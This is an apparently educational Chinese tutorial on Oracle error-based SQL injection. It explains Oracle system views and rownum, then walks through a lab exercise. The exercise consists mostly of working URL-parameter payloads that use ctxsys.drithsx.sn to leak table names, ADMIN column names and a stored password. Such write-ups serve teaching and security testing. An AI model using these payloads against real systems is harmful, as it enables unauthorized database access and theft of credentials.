Oracle注入——报错注入

SQL注入之重新认识

文章目录

  • Oracle数据库
    • dual表
  • 数据库语句
  • 报错注入函数解析
  • 练习

Oracle数据库

一般大公司用的多,很贵,环境搭建复杂且大,数据库死板,非常讲究语法格式,区分大小写,数据类型很多。dual虚表,专门用来满足oracle数据库严格的语法格式,为凑格式所存在。一般数据库强调库、表名、字段、内容,但Oracle数据库种库被弱化,用户被强化,一个用户代表一个库。

dual表

  • Dual是一个实表(也有人说它是虚表),如果你直接查询它,它只显示一个X,列名为DUMMY,那么要它有什么用呢?
  • 它实际上是为了满足查询语句的结构而产生,你想查询你的用户名 select user from Dual ,调用系统函数:(获得随机值:select dbms_random.random from dual),还能做加减法:select 9+1 from dual
    Oracle注入——报错注入_第1张图片

数据库语句

  1. select * from all_tables 查询出所有的表
    select * from user_tables 查询出当前用户的表

  2. select*from all_tab_columns 查询出所有的字段
    select*from user_tab_columns 查询出当前用户的字段

  3. select*from v$version 查版本

  4. limitmysql数据库特有的,mssql、access数据库利用top实现分页的功能,oracle数据库利用rownum实现分页。

  5. rownum=1 (限制查询返回的总行数为一条)
    对于rownum来说,它是oracle系统顺序分配为从查询返回的行的编号,返回的第一行分配的是1,第二行是2,依此类推,这个伪字段可以用于限制查询返回的总行数。我们可以用rownum < 3来要求他输出2条数据,不能使用rownum=2,因为它是根据结果进行浮动的。

  6. 取结果第二行的方法【实现limit的功能】:

  • 不等于法 rownum=1 and column_name<>'UNAME'
    Oracle注入——报错注入_第2张图片
    在这里插入图片描述
  • 重命名法【别名只能用于字段名,不能表名】
select *from 
(select column_name,rownum n from user_tab_columns where table_name='ADMIN')
where n=2      //其中n为别名

Oracle注入——报错注入_第3张图片
Oracle注入——报错注入_第4张图片

报错注入函数解析

CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1))

查询关于主题的对应关键词,然后因为查询失败(应该是这个用户没有创建和查询的权限,默认情况没有创建,爆出未查询到的错误从而爆出查询的内容)

and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))     //查询数据库版本

为什么需要1=?
因为Oracle的语言严谨,where后面跟的都是条件,单独的字符串不能作为条件,比较才能作为条件,存在的字段名等于这个字符串也可以作为条件。
Oracle注入——报错注入_第5张图片
Oracle注入——报错注入_第6张图片

练习

  1. ?id=1 and 1=2回显错误,说明存在sql注入。
    Oracle注入——报错注入_第7张图片
  2. 使用?id=1 order by 4猜测字段数为4。
    Oracle注入——报错注入_第8张图片
  3. ?id=1 union all select null,null,null,null from dual回显正常。
  4. ?id=1 union all select 1,null,null,null from dual查看1无回显,说明此处不是回显点。
    Oracle注入——报错注入_第9张图片
  5. /?id=1 union all select 1,null,null,4 from dual回显出时间戳,说明为4回显点。
    Oracle注入——报错注入_第10张图片
  6. 到这,我们可以有四种思路:盲注、报错注入、转化类型、通过甘薯对字符串的处理转化为数字在第四个注入点回显【切割字符串,转数字然后看回显】。
  7. 我们主要尝试报错注入。
  8. 使用?id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))获得第一条数据。
    Oracle注入——报错注入_第11张图片
  9. ?id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name<>'ADMIN'))获得第二条数据。
    Oracle注入——报错注入_第12张图片
    10.?id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name<>'ADMIN' and table_name<>'NEWS'))获得第三条数据。
    Oracle注入——报错注入_第13张图片
  10. ?id=1 and 1=ctxsys.drithsx.sn(1,(select column_name from(select column_name,rownum n from user_tab_columns where table_name='ADMIN') where n=1))获得ADMIN表中的第一个列名UNAME。
    Oracle注入——报错注入_第14张图片
  11. ?id=1 and 1=ctxsys.drithsx.sn(1,(select column_name from(select column_name,rownum n from user_tab_columns where table_name='ADMIN') where n=2))获得ADMIN表中的第二个列名UASS。
  12. ?id=1 and 1=ctxsys.drithsx.sn(1,(select UPASS from (select UPASS,rownum n from ADMIN)where n=2))获得正确的flag。
    Oracle注入——报错注入_第15张图片

你可能感兴趣的:(常见web漏洞,oracle,数据库)